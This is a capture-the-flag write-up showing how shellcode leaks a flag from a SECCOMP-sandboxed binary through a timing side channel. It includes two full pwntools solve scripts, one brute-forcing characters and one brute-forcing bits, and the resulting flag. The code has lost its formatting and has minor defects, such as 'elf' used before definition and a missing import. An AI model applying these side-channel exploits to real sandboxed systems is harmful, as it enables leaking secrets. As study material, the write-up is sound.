Restricted shellcode challenge with bypassable SECCOMP filter via a Time-based Side Channel Attack.
Challenge Overview
Shellcoding Test is the continuation of Coding Test from the preliminary round. Once again, we can write any shellcode to an allocated buffer.
However, the SECCOMP rules enforced are much more restricted this time. As we are not allowed to execute any syscalls, we are left with a Time-based Side Channel Attack to brute force each flag character.
To mount this attack, we'll need to know exactly where the flag is loaded. Inspecting this in GDB, we realized that the flag is 8 bytes away from rsp.
Solution 1: Character Brute Forcing
In our solve script, we'll specify 2 loops - An outer loop that iterates N times (where N = flag length) to control the flag index that we are trying to brute force; and an inner loop that iterates all printable ASCII characters. Since we do not know the flag length, we'll just give N a large value for now.
for idx inrange(0x1000):for i inrange(256): r = elf.process() shellcode =asm(f''' mov rax, [rsp+8] mov cl, [rax+{hex(idx)}] cmp cl, {hex(i)} je loop syscall: mov rax, 1 syscall loop: jmp loop ''') r.sendline(shellcode)
The shellcode required for this character brute forcing approach is fairly straightforward to code in assembly language, but comes with a huge penalty in terms of time complexity. It takes approximately 5 minutes to get the entire flag right.
Flag: ACS{5h311c0d!ng_73s7_@ppr0v3d}
Final Script
#!/usr/bin/python3from pwn import*exe ='./shellcoding_test'elf = context.binary =ELF(exe, checksec=False)context.log_level ='CRITICAL'flag =''for idx inrange(0x1000):# we do not know the actual flag length, so we'll assign a big value just to be surefor i inrange(256):# printable characters r = elf.process() shellcode =asm(f''' mov rax, [rsp+8] # flag is 8 offset away from rsp mov cl, [rax+{hex(idx)}] # iterate flag index cmp cl, {hex(i)} # character to brute force je loop syscall: mov rax, 1 syscall loop: jmp loop ''')try: r.sendline(shellcode) r.recv(timeout=1)print(f'[+] Found: {chr(i)}') flag +=chr(i) r.close()breakexceptExceptionas e:pass r.close()print(flag)
Solution 2: Bit Brute Forcing
A more optimized and faster way to do this is by granularize it down to the bit level. This way, we will only have to brute force 8 bits for each character (8 comparisons per character) instead of iterating through all ASCII printable characters like Solution 1.
Flag: ACS{5h311c0d!ng_73s7_@ppr0v3d}
Final Script
#!/usr/bin/python3import sysimport stringimport randomfrom pwn import*context.binary = elfexe =ELF('./shellcoding_test', checksec=False)context.log_level ='CRITICAL'defstart(argv=[],*a,**kw):'''Start the exploit against the target.'''if args.GDB:return gdb.debug([elfexe.path] + argv, gdbscript, elfexe.path, *a, *kw)else: target =process([elfexe.path] + argv, *a, **kw)return targetgdbscript ='''b *maincontinue'''.format(**locals())#===========================================================# EXPLOIT GOES HERE#===========================================================arguments = []if args['REMOTE']: remote_server ='192.168.0.52' remote_port =10202defcraft_shellcode(offset,bit_offset): shellcode =asm((f""" xor r11, r11 xor rax, rax mov r12, [rsp+8] # flag is 8 offset away from rsp mov al, [r12+{offset}] # iterate flag index shr al, {bit_offset} # 8 bit = 1 byte = 1 character shl al, 7 shr al, 7 loop: cmp rax, r11 je end jmp loop end: """ ), arch='amd64')assert(len(shellcode)<=0x100) padded_shellcode = shellcode +b'\x90'*(0x100-len(shellcode))assert(len(padded_shellcode)==0x100)return padded_shellcodedefget_byte(offset): binary_bits =''for bit_offset inrange(8):print(bit_offset, end=': ') io =process() io.send(craft_shellcode(offset, bit_offset)) start = time.time() io.recvall(timeout=1).decode() now = time.time()print(now - start)if (now - start) >1: binary_bits +='1'else: binary_bits +='0' io.close()print(binary_bits[::-1]) byte =int(binary_bits[::-1], 2)# Reverse binary bits & convert from binary (base2) to decimalprint(byte)return byteflag =''whilenot flag.endswith('}'): flag +=chr(get_byte(len(flag)))print(flag)print(f'Found Flag: {flag}')